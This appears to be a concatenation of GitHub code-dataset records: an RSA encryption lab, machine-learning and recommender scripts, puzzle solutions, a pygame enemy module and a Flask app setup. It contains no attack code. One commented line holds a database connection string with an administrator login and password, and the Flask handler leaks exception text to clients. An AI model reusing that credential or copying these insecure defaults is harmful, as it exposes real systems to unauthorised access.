cu cheia privată\npublic_key = private_key.public_key()\n\n# Serializăm cheia publică pentru a o putea partaja\npublic_pem = public_key.public_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PublicFormat.SubjectPublicKeyInfo\n)\n\n# Afișăm cheile\nprint(\"Cheia privată:\")\nprint(private_pem.decode())\nprint(\"\\nCheia publică:\")\nprint(public_pem.decode())\n\n# Citim textul de la tastatură pentru criptare\nplaintext_message = input(\"Introduceți textul pe care doriți să-l criptați: \").encode()\n\n# Criptăm mesajul folosind cheia publică\nciphertext = public_key.encrypt(\n plaintext_message,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=hashes.SHA1()), # Folosim SHA-1 aici pentru MGF1\n algorithm=hashes.SHA1(), # Folosim SHA-1 pentru padding\n label=None\n )\n)\n\n# Convertim mesajul criptat în șir Base64\nciphertext_base64 = base64.b64encode(ciphertext).decode()\n\n# Afișăm mesajul criptat în format Base64\nprint(\"\\nMesaj criptat (Base64):\")\nprint(ciphertext_base64)\n\n# Decriptăm mesajul folosind cheia privată\ndecoded_ciphertext = base64.b64decode(ciphertext_base64)\ndecrypted_message = private_key.decrypt(\n decoded_ciphertext,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=hashes.SHA1()), # Folosim SHA-1 aici pentru MGF1\n algorithm=hashes.SHA1(), # Folosim SHA-1 pentru padding\n label=None\n )\n)\n\n# Afișăm mesajul decriptat\nprint(\"\\nMesaj decriptat:\")\nprint(decrypted_message.decode())\n","repo_name":"BunescuGabriel/SI","sub_path":"lab-2/RSA.py","file_name":"RSA.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6314494139","text":"from data_preprocessing import *\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier, AdaBoostClassifier\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import precision_score, recall_score\nfrom collections import Counter\nimport time\nimport warnings\nwarnings.filterwarnings(action='ignore', category=UserWarning, module='gensim')\nfrom gensim import corpora, models\n\nclass setiment_analysis():\n def __init__(self, train, valid, test, _type, method='lsa', topic = 0):\n self.train_path = train\n self.valid_path = valid\n self.test_path = test\n self.data_type = _type\n self.method = method\n self.topic = topic\n self.training, self.label, self.label_mapping = self.get_training_data()\n self.testing, self.test_label = self.get_testing_data('test')\n self.valid, self.valid_label = self.get_testing_data('valid')\n\n def get_training_data(self):\n if self.data_type == 'all':\n preprocessing_data = preprocessing_all(loading_data(self.train_path))\n training, label = feature_transformation_all(preprocessing_data)\n le = LabelEncoder()\n label = le.fit_transform(label)\n label_mapping = le.classes_\n return training, label, le\n elif self.data_type == 'all_topic':\n preprocessing_data = preprocessing_all(loading_data(self.train_path))\n training, label = feature_transformation_topic(preprocessing_data, method = self.method, topic = self.topic)\n le = LabelEncoder()\n label = le.fit_transform(label)\n label_mapping = le.classes_\n return training, label, le\n elif self.data_type == 'all_word2vec':\n preprocessing_data = preprocessing_all(loading_data(self.train_path))\n training, label = feature_transformation_word2vec(preprocessing_data, dim = self.topic)\n le = LabelEncoder()\n label = le.fit_transform(label)\n label_mapping = le.classes_\n return training, label, le\n\n \n def get_testing_data(self, path_type):\n if path_type == 'test':\n path = self.test_path\n elif path_type == 'valid':\n path = self.valid_path\n if self.data_type == 'all':\n preprocessing_data = preprocessing_all(loading_data(path))\n sentences = [x[0] for x in preprocessing_data]\n labels = [x[1] for x in preprocessing_data]\n vectorizer = pickle.load(open('./data/tfidf_all.pkl','rb'))\n testing = vectorizer.transform(sentences)\n testing = testing.toarray()\n labels = self.label_mapping.transform(labels)\n return testing, labels\n elif self.data_type == 'all_topic':\n preprocessing_data = preprocessing_all(loading_data(path))\n sentences = [x[0] for x in preprocessing_data]\n dictionary = corpora.Dictionary.load('./data/dict_all.pkl')\n labels = [x[1] for x in preprocessing_data]\n labels = self.label_mapping.transform(labels)\n if self.method == 'lsa': \n lsi = models.LsiModel.load('./data/lsi_all.pkl') \n features = list()\n for sentence in sentences:\n vec_bow = dictionary.doc2bow(sentence.split(' '))\n vec_lsi = lsi[vec_bow]\n if len(vec_lsi) != self.topic:\n vec_lsi = [(x,0) for x in range(self.topic)]\n features.append([x[1] for x in vec_lsi])\n return features, labels\n elif self.method =='lda':\n lda = models.ldamodel.LdaModel.load('./data/lda_all.pkl')\n features = list()\n for sentence in sentences:\n vec_bow = dictionary.doc2bow(sentence.split(' '))\n vec_lda = lda[vec_bow]\n if len(vec_lda) != self.topic:\n vec_lda = [(x,0) for x in range(self.topic)]\n features.append([x[1] for x in vec_lda])\n return features, labels\n elif self.data_type == 'all_word2vec':\n preprocessing_data = preprocessing_all(loading_data(path))\n sentences = [x[0] for x in preprocessing_data]\n word2vec_sentences = [x.split(' ') for x in sentences]\n labels = [x[1] for x in preprocessing_data]\n labels = self.label_mapping.transform(labels)\n word2vec = models.word2vec.Word2Vec.load('./data/word2vec.pkl')\n tfidf = pickle.load(open('./data/tfidf_word2vec.pkl', 'rb'))\n features = list()\n for sentence in word2vec_sentences:\n count = 0\n a = np.array([ 0 for x in range(self.topic)])\n for word in sentence:\n try:\n word_vec = np.array(word2vec[word])\n tfidf_value = tfidf[word]\n count +=1\n a = a + (word_vec * tfidf_value)\n except:\n pass\n features.append(a/count)\n features = np.nan_to_num(features).tolist()\n return features, labels\n\n def svm(self):\n if self.data_type == 'all':\n clf = SVC(C = 50, kernel = 'rbf', gamma = 0.01)\n elif self.data_type == 'all_topic':\n if self.method == 'lsa':\n clf = SVC(C = 1000, kernel = 'rbf', gamma = 0.01)\n elif self.method == 'lda':\n clf = SVC(C = 0.001, kernel = 'rbf', gamma = 0.01)\n elif self.data_type == 'all_word2vec':\n clf = SVC()\n \n clf.fit(self.training, self.label)\n test_score = clf.score(self.testing, self.test_label)\n valid_score = clf.score(self.valid, self.valid_label)\n\n print ('SVM %s %s topic %s' % (self.data_type, self.method, self.topic))\n print ('testing accuracy: ', test_score)\n print ('valid accuracy: ', valid_score)\n\n \n\n def svm_tuning(self):\n tuned_parameters = [\n {'kernel': ['rbf'], 'gamma': [1e-2, 1e-3, 1e-4, 1e-5],'C': [0.001, 0.10, 0.1, 10, 25, 50, 100, 1000]},\n {'kernel': ['sigmoid'], 'gamma': [1e-2, 1e-3, 1e-4, 1e-5],'C': [0.001, 0.10, 0.1, 10, 25, 50, 100, 1000]},\n {'kernel': ['linear'], 'C': [0.001, 0.10, 0.1, 10, 25, 50, 100, 1000]}\n ]\n clf = GridSearchCV(SVC(), tuned_parameters, scoring = 'accuracy', cv=2)\n clf.fit(self.training, self.label)\n print(\"Best parameters set found on development set:\")\n print()\n print(clf.best_params_)\n\n def rf(self):\n if self.data_type == 'all':\n clf = RandomForestClassifier(n_estimators= 101, max_features = 'auto')\n elif self.data_type == 'all_topic':\n if self.method == 'lsa':\n clf = RandomForestClassifier(n_estimators= 51, max_features = 'auto')\n elif self.method == 'lda':\n clf = RandomForestClassifier(n_estimators= 201, max_features = 'log2')\n elif self.data_type == 'all_word2vec':\n clf = RandomForestClassifier(n_estimators= 101, max_features = 'log2')\n \n clf.fit(self.training, self.label)\n testing_data = np.array(self.testing)\n test_score = clf.score(self.testing , self.test_label)\n valid_score = clf.score(self.valid, self.valid_label)\n print ('Random Forest %s %s' % (self.data_type, self.method))\n print ('testing accuracy: ', test_score)\n print ('valid accuracy: ', valid_score)\n \n def rf_tuning(self):\n tuned_parameters = [ {'n_estimators': [11, 51, 101, 151, 201], 'max_features': ['auto', 'log2']} ]\n clf = GridSearchCV(RandomForestClassifier(), tuned_parameters, scoring = 'accuracy', cv=2)\n clf.fit(self.training, self.label)\n print(\"Best parameters set found on development set:\")\n print()\n print(clf.best_params_)\n\n def adaboost(self):\n if self.data_type == 'all':\n clf = AdaBoostClassifier(learning_rate = 0.001, n_estimators = 10)\n elif self.data_type == 'all_topic':\n if self.method == 'lsa':\n clf = AdaBoostClassifier(learning_rate = 0.5, n_estimators = 80)\n elif self.method == 'lda':\n clf = AdaBoostClassifier(learning_rate = 0.5, n_estimators = 70)\n elif self.data_type == 'all_word2vec':\n clf = AdaBoostClassifier(learning_rate = 0.5, n_estimators = 70)\n \n clf.fit(self.training, self.label)\n test_score = clf.score(self.testing, self.test_label)\n valid_score = clf.score(self.valid, self.valid_label)\n print ('Adaboost %s %s' % (self.data_type, self.method))\n print ('testing accuracy: ', test_score)\n print ('valid accuracy: ', valid_score)\n\n def adaboost_tuning(self):\n tuned_parameters = [ {'n_estimators': [10, 20, 30, 40, 50, 60, 70, 80, 90], 'learning_rate': [0.001, 0.005, 0.01, 0.05, 0.1, 0.5]} ]\n clf = GridSearchCV(AdaBoostClassifier(), tuned_parameters, scoring = 'accuracy', cv=2)\n clf.fit(self.training, self.label)\n print(\"Best parameters set found on development set:\")\n print()\n print(clf.best_params_)\n\n def gbdt(self):\n #clf = GradientBoostingClassifier()\n if self.data_type == 'all':\n clf = GradientBoostingClassifier(learning_rate = 0.1, n_estimators = 60)\n elif self.data_type == 'all_topic':\n if self.method == 'lsa':\n clf = GradientBoostingClassifier(learning_rate = 0.05, n_estimators = 90)\n elif self.method == 'lda':\n clf = GradientBoostingClassifier(learning_rate = 0.05, n_estimators = 80)\n elif self.data_type == 'all_word2vec':\n clf = GradientBoostingClassifier(learning_rate = 0.05, n_estimators = 80)\n \n clf.fit(self.training, self.label)\n test_score = clf.score(self.testing, self.test_label)\n valid_score = clf.score(self.valid, self.valid_label)\n print ('GBDT %s %s' % (self.data_type, self.method))\n print ('testing accuracy: ', test_score)\n print ('valid accuracy: ', valid_score)\n\n def gbdt_tuning(self):\n tuned_parameters = [ {'n_estimators': [10, 20, 30, 40, 50, 60, 70, 80, 90], 'learning_rate': [0.001, 0.005, 0.01, 0.05, 0.1, 0.5]} ]\n clf = GridSearchCV(GradientBoostingClassifier(), tuned_parameters, scoring = 'accuracy', cv=2)\n clf.fit(self.training, self.label)\n print(\"Best parameters set found on development set:\")\n print()\n print(clf.best_params_)\n\ndef main(tuning = 0):\n start_time = time.time()\n topics = [4,5,6,7,8,9,10]\n topics = [50,100]\n for x in topics:\n #model = setiment_analysis(train = './Friends/friends_train.json', valid = './Friends/friends_dev.json', test = './Friends/friends_test.json', _type = 'all_word2vec',method = 'lda', topic = x)\n model = setiment_analysis(train = './EmotionPush/emotionpush_train.json', valid = './EmotionPush/emotionpush_dev.json', test = './EmotionPush/emotionpush_test.json', _type = 'all_topic',method = 'lsa', topic = 50)\n #print (model.testing[0], model.test_label[0])\n #print (len(model.testing), len(model.test_label))\n print (len(model.training[0]))\n if tuning == 1:\n print ('svm')\n model.svm_tuning()\n print ('random forest')\n model.rf_tuning()\n print ('adaboost')\n model.adaboost_tuning()\n print ('gbdt')\n model.gbdt_tuning()\n print (time.time() - start_time)\n elif tuning == 0:\n model.svm()\n model.rf()\n model.adaboost()\n model.gbdt()\n print (time.time() - start_time)\n\nif __name__ == '__main__':\n main(tuning = 0)\n\n","repo_name":"kevinlin91/2018_nlp_mid_project","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":12128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42243691712","text":"# -*- coding: utf-8 -*-\n\n#função recebe um arquivo de cadastro e devolve uma lista de dicionarios com cada cadastro\ndef parse_cadastros(cadastros_file):\n cadastros_list = []\n\n with open(cadastros_file, 'r') as arquivo:\n cadastros_raw = arquivo.readlines()\n\n for cadastro in cadastros_raw:\n cadastros_list.append({'nome': cadastro.split(': ')[0], 'email': cadastro.split(': ')[1]})\n\n return cadastros_list\n","repo_name":"thiagotosto/Intercambio-Alerta-App","sub_path":"parse_cadastros.py","file_name":"parse_cadastros.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33451913478","text":"class Solution:\n def plusOne(self, digits: List[int]) -> List[int]:\n strd = []\n for i in digits:\n strd.append(str(i))\n largestint = str(int(\"\".join((strd))) + 1)\n ls = []\n for i in largestint:\n ls.append(int(i))\n\n return ls","repo_name":"yonasengdu/Compitative-programming","sub_path":"66-plus-one/66-plus-one.py","file_name":"66-plus-one.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23573004271","text":"input = open('C-large.in', 'r')\r\noutput = open('C-large.out', 'w')\r\nt = int(input.readline().rstrip())\r\nfor test in range(t):\r\n output.write(\"Case #\" + str(test + 1) + \": \")\r\n n, k = map(int, input.readline().rstrip().split())\r\n lengs = [n]\r\n nums = [1]\r\n while k > nums[0]:\r\n k -= nums[0]\r\n len_new = lengs[0] - 1 - (lengs[0] - 1) // 2\r\n if len_new in lengs:\r\n nums[lengs.index(len_new)] += nums[0]\r\n else:\r\n lengs.append(len_new)\r\n nums.append(nums[0])\r\n len_new = (lengs[0] - 1) // 2\r\n if len_new in lengs:\r\n nums[lengs.index(len_new)] += nums[0]\r\n else:\r\n lengs.append(len_new)\r\n nums.append(nums[0])\r\n lengs.pop(0)\r\n nums.pop(0)\r\n print(lengs[0] - 1 - (lengs[0] - 1) // 2, (lengs[0] - 1) // 2, file = output)\r\n\r\ninput.close()\r\noutput.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/646.py","file_name":"646.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30439565393","text":"# TODO: enemies should be killed when destroying tiles below them\n\nfrom time import time\nfrom types import FunctionType\n\nfrom pygame.image import load as load_image\nfrom pygame.math import Vector2\nfrom pygame.rect import Rect\nfrom pygame.sprite import Group, Sprite\nfrom pygame.surface import Surface\nfrom pygame.transform import flip as flip_image\n\nfrom .constants import GOOMBA, KOOPA\n\n\nclass Goomba(Sprite):\n \"\"\"\n First and most basic enemy. It can walk and collide with map and enemies.\n \"\"\"\n\n def __init__(self, x: int, y: int, theme: str,\n kill_animation: FunctionType) -> None:\n \"\"\"Initialize enemy - Goomba.\"\"\"\n super().__init__()\n\n self.is_alive = True # used in updating and player's collision check\n self.type = GOOMBA\n\n # animations and visual stuff\n self.frame = 0\n self.images = {\n 'walk': [\n load_image(f'img/{theme}/goomba_walk_{i}.png').convert_alpha()\n for i in range(2)\n ],\n 'die': load_image(f'img/{theme}/goomba_die_0.png').convert_alpha()\n }\n self.animation_speed = 0.15\n self.last_time = time()\n self.image = self.images['walk'][0]\n\n # TODO: maybe change method of killing enemies with spinning Koopa\n # to be honest, it's only used in Koopa, but it's easier to add it here\n self.spinning = False\n\n # positioning and movement stuff\n self.rect = self.image.get_rect(topleft=(x, y))\n self.pos = Vector2(x, y)\n self.speed = Vector2(-1, 0)\n\n self.kill_animation = kill_animation\n\n def move_horizontally(self, dt: float) -> None:\n \"Change horizontal position of the enemy.\"\n self.pos.x += self.speed.x * dt\n self.rect.x = self.pos.x\n\n def move_vertically(self, dt: float) -> None:\n \"Apply gravity and change vertical position of the enemy.\"\n self.speed.y = min(self.speed.y + 1 * dt, 8)\n\n self.pos.y += self.speed.y * dt\n self.rect.y = self.pos.y\n\n def check_horizontal_collisions(self, tiles: Group) -> None:\n \"\"\"Check horizontal collisions with map tiles and adjust position.\"\"\"\n for tile in tiles:\n if self.rect.colliderect(tile.rect):\n if tile.bumped:\n self.kill_animation(self)\n return\n if self.speed.x < 0: # touching right wall\n self.rect.left = tile.rect.right\n self.pos.x = self.rect.x\n self.speed.x *= -1\n return\n\n elif self.speed.x > 0: # touching left wall\n self.rect.right = tile.rect.left\n self.pos.x = self.rect.x\n self.speed.x *= -1\n return\n\n def check_vertical_collisions(self, tiles: Group) -> None:\n \"\"\"Check vertical collisions with map tiles and adjust position.\"\"\"\n for tile in tiles:\n if self.rect.colliderect(tile.rect):\n if tile.bumped:\n self.kill_animation(self)\n return\n if self.speed.y > 0: # touching floor\n self.rect.bottom = tile.rect.top\n self.pos.y = self.rect.y\n self.speed.y = 0\n return\n\n def check_enemy_collisions(self, enemies: Group) -> None:\n \"\"\"Check collisions with other enemies.\"\"\"\n for enemy in enemies:\n if self == enemy:\n continue\n\n if self.rect.colliderect(enemy.rect):\n if enemy.type == KOOPA and enemy.spinning:\n self.kill_animation(self)\n self.kill()\n return\n elif self.type == KOOPA and self.spinning:\n enemy.kill_animation(enemy)\n enemy.kill()\n return\n \n if self.speed.x > 0: # touching left side of the other enemy\n self.rect.right = enemy.rect.left\n self.pos.x = self.rect.x\n else: # touching right side of the other enemy\n self.rect.left = enemy.rect.right\n self.pos.x = self.rect.x\n self.speed *= -1\n enemy.speed *= -1\n\n def death_state(self) -> None:\n \"\"\"Change alive state of the enemy to false and make it squished.\"\"\"\n self.last_time = time()\n self.image = self.images['die']\n self.is_alive = False\n\n def draw(self, screen: Surface, scroll: int) -> None:\n \"\"\"Draw sprite onto screen.\"\"\"\n screen.blit(self.image, (self.rect.x - scroll, self.rect.y))\n\n def update(self, dt: float, tiles: Group, enemies: Group,\n scroll: int) -> None:\n \"\"\"Update enemy image and position, disappear it after squished.\"\"\"\n if self.rect.x - scroll > 304:\n return # don't update when too far from left screen border\n if self.rect.y > 224 or self.rect.x - scroll < -48:\n self.kill() # remove enemy when fallen down or too far to the left\n\n if self.is_alive: # alive state - update walking image\n if time() - self.last_time >= self.animation_speed:\n self.last_time = time()\n self.frame += 1\n if self.frame >= 2:\n self.frame = 0\n self.image = self.images['walk'][self.frame]\n else: # die state\n if time() - self.last_time >= 0.4:\n self.kill()\n return\n\n # change horizontal position\n self.move_horizontally(dt)\n self.check_horizontal_collisions(tiles)\n\n # change vertical position\n self.move_vertically(dt)\n self.check_vertical_collisions(tiles)\n\n self.check_enemy_collisions(enemies)\n\n\nclass Koopa(Goomba):\n \"\"\"\n Second basic enemy. It can walk, collde with map and enemies and kill other\n enemies when jumped on again.\n \"\"\"\n\n def __init__(self, x: int, y: int, kill_animation) -> None:\n \"\"\"Initialize enemy - Koopa.\"\"\"\n super().__init__(x, y, 'red', kill_animation)\n\n # only differences from Goomba\n self.type = KOOPA\n self.spinning = False\n self.state = 'walk'\n self.images = {\n 'walk': [\n load_image(f'img/koopa_walk_{i}.png').convert_alpha()\n for i in range(2)\n ],\n 'die': load_image('img/koopa_die_0.png').convert_alpha(),\n 'reviving': load_image('img/koopa_reviving_0.png').convert_alpha()\n }\n self.flip = False\n self.image = self.images['walk'][0]\n # I'm not overriding self.rect because I want 16x16, not 16x24\n\n def death_state(self) -> None:\n self.image = self.images['die']\n self.state = 'die'\n self.last_time = time()\n\n def spin(self, to_right: bool) -> None:\n self.spinning = True\n self.speed.x = 6 if to_right else -6\n # just to be sure, why not\n self.state = 'die'\n self.image = self.images['die'] \n\n def stop_spinning(self) -> None:\n self.spinning = False\n self.speed.x = self.speed.x // 6\n self.last_time = time()\n\n def draw(self, screen: Surface, scroll: int) -> None:\n \"\"\"Draw sprite onto screen.\"\"\"\n if self.state == 'walk':\n screen.blit(flip_image(self.image, self.flip, False),\n (self.rect.x - scroll, self.rect.y - 8))\n else:\n screen.blit(flip_image(self.image, self.flip, False),\n (self.rect.x - scroll, self.rect.y))\n\n def update(self, dt: float, tiles: Group, enemies: Group,\n scroll: int) -> None:\n \"\"\"Update enemy image and position.\"\"\"\n if self.rect.x - scroll > 304:\n return # don't update when too far from left screen border\n if self.rect.y > 224 or self.rect.x - scroll < -48:\n self.kill() # remove enemy when fallen down or too far to the left\n\n if self.state == 'walk': # alive state - update walking image\n if time() - self.last_time >= self.animation_speed:\n self.last_time = time()\n self.frame += 1\n if self.frame >= 2:\n self.frame = 0\n self.image = self.images['walk'][self.frame]\n elif not self.spinning: # died or reviving\n time_diff = time() - self.last_time\n if time_diff >= 5:\n self.state = 'walk'\n self.image = self.images['walk'][self.frame]\n self.last_time = time()\n elif time_diff >= 4:\n self.state = 'reviving'\n self.image = self.images['reviving']\n\n if self.state == 'walk' or self.spinning:\n # change horizontal position\n self.move_horizontally(dt)\n self.check_horizontal_collisions(tiles)\n\n # change vertical position\n self.move_vertically(dt)\n self.check_vertical_collisions(tiles)\n\n self.check_enemy_collisions(enemies)\n\n self.flip = self.speed.x > 0\n\n\nclass DeadEnemy(Sprite):\n def __init__(self, image: Surface, rect: Rect) -> None:\n super().__init__()\n\n self.image = flip_image(image, False, True)\n\n self.rect = rect\n self.pos = Vector2(self.rect.x, self.rect.y)\n self.speed = -4\n\n def update(self, dt: float) -> None:\n if self.rect.y >= 224:\n self.kill()\n return\n\n self.pos.y += self.speed * dt\n self.rect.y = self.pos.y\n self.speed = min(self.speed + 1 * dt, 8)\n\n def draw(self, screen: Surface, scroll: int) -> None:\n \"\"\"Draw sprite onto screen.\"\"\"\n screen.blit(self.image, (self.rect.x - scroll, self.rect.y))\n","repo_name":"badzianga/super-mariusz-bro","sub_path":"libs/enemies.py","file_name":"enemies.py","file_ext":"py","file_size_in_byte":9918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22923611371","text":"from flask import Flask, request, render_template\nfrom .migrate import run_migrations\nfrom flask_jwt_extended import JWTManager\nfrom flask_docs_api.api import Api\nfrom flask_cors import CORS\nfrom .utils.helpers import response\nfrom .utils.variables import APP_NAME, MAIL_SERVER, MAIL_PASSWORD, MAIL_PORT, APP_SECRET, MAIL_USERNAME\n\n\ndef create_app():\n\tapp = Flask(__name__)\n\tapi = Api(app, \"Test\")\n\tjwt = JWTManager(app)\n\tCORS(app, origins=\"*\")\n\n\t# RUN MIGRATIONS\n\trun_migrations()\n\n\t# ***** CONFIGS ***** #\n\t# APP CONFIGS\n\tapp.config[\"APP_NAME\"] = APP_NAME\n\tapp.config[\"APP_SECRET\"] = APP_SECRET\n\tapp.config[\"SECRET_KEY\"] = APP_SECRET\n\tapp.config[\"JWT_SECRET_KEY\"] = APP_SECRET\n\n\t# MAIL CONFIGS\n\tapp.config['MAIL_SERVER'] = MAIL_SERVER\n\tapp.config['MAIL_PORT'] = MAIL_PORT\n\tapp.config['MAIL_USE_SSL'] = True\n\tapp.config['MAIL_USERNAME'] = MAIL_USERNAME\n\tapp.config['MAIL_PASSWORD'] = MAIL_PASSWORD\n\n\tapi.route(\"/api-docs\")\n\n\t# ADMIN ROUTES\n\tfrom .views import dashboard\n\tapp.register_blueprint(dashboard)\n\n\n\t# API ENDPOINTS\n\tfrom .apis import api\n\tapp.register_blueprint(api, url_prefix=\"/api/v1\")\n\n\n\t# ERROR ROUTES\n\t@app.errorhandler(404)\n\tdef invalid_route(error):\n\t\tprint(\"ERROR 404:\", error)\n\t\turl = request.url\n\t\t# RETURN A JSON RESPONSE FOR API REQUESTS\n\t\tif \"/api/v1\" in url: return response(\"Invalid route\", None, False)\n\n\t\t# REDIRECT\n\t\treturn render_template(\"404.html\", APP_NAME=APP_NAME)\n\n\n\t@app.errorhandler(Exception)\n\tdef server_error(error):\n\t\tprint(\"ERROR 500:\", error)\n\t\turl = request.url\n\t\tif \"/api/v1\" in url: return response(str(error), None, False)\n\n\t\t# REDIRECT\n\t\treturn render_template(\"500.html\")\n\n\treturn app","repo_name":"Jace-Tech/plant-nest-backend","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27053221297","text":"with open('input02.txt', 'r') as f: \n words = f.read().split()\n\ni = 1\nn = 0\nhorizontal = 0\ndepth = 0\naim = 0 \nwhile i <= len(words):\n if str(words[n]) == \"forward\" :\n horizontal += int(words[i])\n depth += aim * int(words[i])\n if str(words[n]) == \"down\" :\n aim += int(words[i])\n if str(words[n]) == \"up\" :\n aim -= int(words[i])\n i += 1\n n += 1\n\nprint('part 2:', horizontal * depth)\n\n","repo_name":"CarlBliwxt/Advent-of-code","sub_path":"Day2_B.py","file_name":"Day2_B.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74971621313","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis is the main script for recommended funds in sinopac.We built it on knn model.\n\nCreated on Mon Oct 23 10:41:13 2017\n\n@author: 116952\n\"\"\"\n# %% \n\n############## ARRANGE RECOMENDED DATA TO DATAFRAME HELPER ###################\ndef get_itemids_ratings_np(model,predall,idx_to_itemid):\n \"\"\"retrive model rating, and itemids for given idxs\n parmas\n ======\n model: (KNNmodel)\n class of KNNmodel\n predall: (np.ndarray)\n predicted itemidx\n idx_to_itemid : (dict) \n index of item to itemid lookup table\n \n return \n ======\n tuple: (predall_itemid,predall_rating)\n \n predall_itemid : (np.ndarray)\n retrive itemid from idx_to_itemid\n \n predall_rating: (np.ndarray)\n predicted rating(scoring) corresponding to predall_itemid\n \"\"\"\n num_users,num_items = predall.shape \n rating = model.rating\n predall_itemid = np.zeros(num_users*num_items,dtype='object')\n for pos,e in enumerate(predall.flatten()):\n predall_itemid[pos] = idx_to_itemid[e]\n \n predall_itemid.shape = predall.shape\n predall_rating = np.sort(rating.A,axis=1,kind='heapsort')[:,:-model.topN-1:-1]\n return predall_itemid,predall_rating\n\n\n\ndef arrange_predict_to_dataframe(predall_itemids,predall_rating,\n model_kind):\n \"\"\"arrange predicting itemids/rating to dataframe \n params\n ======\n predall_itemids: (np.ndarray)\n predictions/recommendations w.r.t all ids preference\n predall_rating: (np.ndarray)\n predicted rating(scoring) corresponding to predall_itemid\n model_kind: (str)\n kind of model (ubcf,ibcf,...)\n \n return\n ======\n dataframe\n - colname: 'userid','fundid','model','score'\n \"\"\"\n df_list = []\n for idx,(fund_ids,fund_scores) in tqdm(enumerate(\\\n zip(predall_itemids,predall_rating)),\n total= predall_itemids.shape[0],\n unit = 'users'):\n userid = idx_to_userid[idx]\n df_list.append(pd.DataFrame({'userid' : userid,\n 'fundid' : fund_ids,\n 'score' : fund_scores,\n 'model' : model_kind\n }))\n return pd.concat(df_list)\n\n\n######## REASONING TAG HELPER ##########################################\ndef get_features_given_uid(uid,df,funds_f):\n \"\"\"get features for a given uid and transaction data df\n \n params\n ======\n uid: (str)\n user id account\n df:(pd.dataframe)\n transaction data\n funds_f: (dict)\n features of funds lookup table\n return\n ======\n a set of users' features(tags)\n \"\"\"\n purchased_fundids = df[df['身分證字號']==uid]['基金代碼'].unique().tolist()\n user_features = set()\n for fundid in purchased_fundids:\n user_features.update(funds_f[fundid])\n \n return user_features\n\n\ndef get_recommended_item_for_user(itemid,have_features,funds_f):\n \"\"\"get common features between itemid and have features\n \n params\n ======\n itemid: (str)\n itemid\n have_features: (set)\n user have features\n funds_f: (dict)\n features of funds lookup table\n \n return\n ======\n (set) \n \"\"\"\n fund_features = set(funds_f[itemid])\n return fund_features.intersection(have_features)\n\n\n# %%\nif __name__ == \"__main__\":\n # =============================================================================\n # 套件引用 \n # =============================================================================\n from KNNmodel import *\n import numpy as np \n from rec_helper import *\n from tqdm import tqdm \n import pandas as pd \n import scipy.sparse as sp \n import sqlalchemy\n# import pickle\n import time\n import pypyodbc \n # =============================================================================\n # 讀取清理資料\n # =============================================================================\n\n# conn = pypyodbc.connect(\"DRIVER={SQL Server};SERVER=dbm_public;UID=sa;PWD=01060728;DATABASE=test\")\n\n df_inter = pd.read_csv('./funds/purchase.csv',encoding='cp950') # 基金交易dataframe\n df_item = pd.read_csv('./funds/item_features.csv',encoding='cp950') # 基金特徵(複雜)\n df_user = pd.read_csv('./funds/user_features.csv',encoding='cp950') # 全用戶特徵\n df_ufs = pd.read_csv('./funds/user_features_1.csv',encoding='utf8') # 用戶特徵(用來處理ubcf-features model)\n\n# ### there are some fundids in df_inter not exists in df_item\n fundids_df_items = df_item['基金代碼'].as_matrix() # 1d array\n fundids_df_inter = df_inter['基金代碼'].unique() # 1d array\n fundids = np.intersect1d(fundids_df_inter,fundids_df_items) # 1d array\n# ##\n userids_crm1 = df_user['身分證字號'].unique()\n userids_crm2 = df_ufs['uid'].unique()\n userids = np.intersect1d(userids_crm1,userids_crm2)\n ## arrange purchasing data which fundid exist in fundids\n # (exclude data which is not exist in fundids)\n df_inter = df_inter.loc[df_inter['基金代碼'].isin(fundids)]\n df_inter = df_inter.loc[df_inter['身分證字號'].isin(userids)]\n ## user who bought at least two items\n df_gt2 = threshold_interaction(df_inter,'身分證字號','基金代碼',row_min=1,col_min=0) \n ###\n purchased_ui1, userid_to_idx1, \\\n idx_to_userid1, itemid_to_idx1,idx_to_itemid1= df_to_spmatrix(df_inter,'身分證字號','基金代碼')\n\n train,test, user_idxs = train_test_split(purchased_ui,split_count=1,fraction=0.2)\n\n\n purchased_ui, userid_to_idx, \\\n idx_to_userid, itemid_to_idx,idx_to_itemid = df_to_spmatrix(df_gt2,'身分證字號','基金代碼')\n train,test, user_idxs = train_test_split(purchased_ui,split_count=1,fraction=0.2)\n\n ## items features\n df_item['iidx'] = df_item['基金代碼']\\\n .apply(lambda row,mapper:mapper.get(row,np.nan), args=[itemid_to_idx])\n ## users features\n df_ufs['uidx'] = df_ufs['uid']\\\n .apply(lambda row,mapper: mapper.get(row,np.nan), args=[userid_to_idx])\n # align with train data (user-row-based)\n df_ufs_align = df_ufs.sort_values(by='uidx').loc[:,:'d.AUM.300萬元以上']\n train_ufs = sp.csr_matrix(df_ufs_align)\n \n #%%\n # =============================================================================\n # 模型建立 modeling ...\n # =============================================================================\n \n \n ## ibcf\n t1 = time.time()\n model_i = 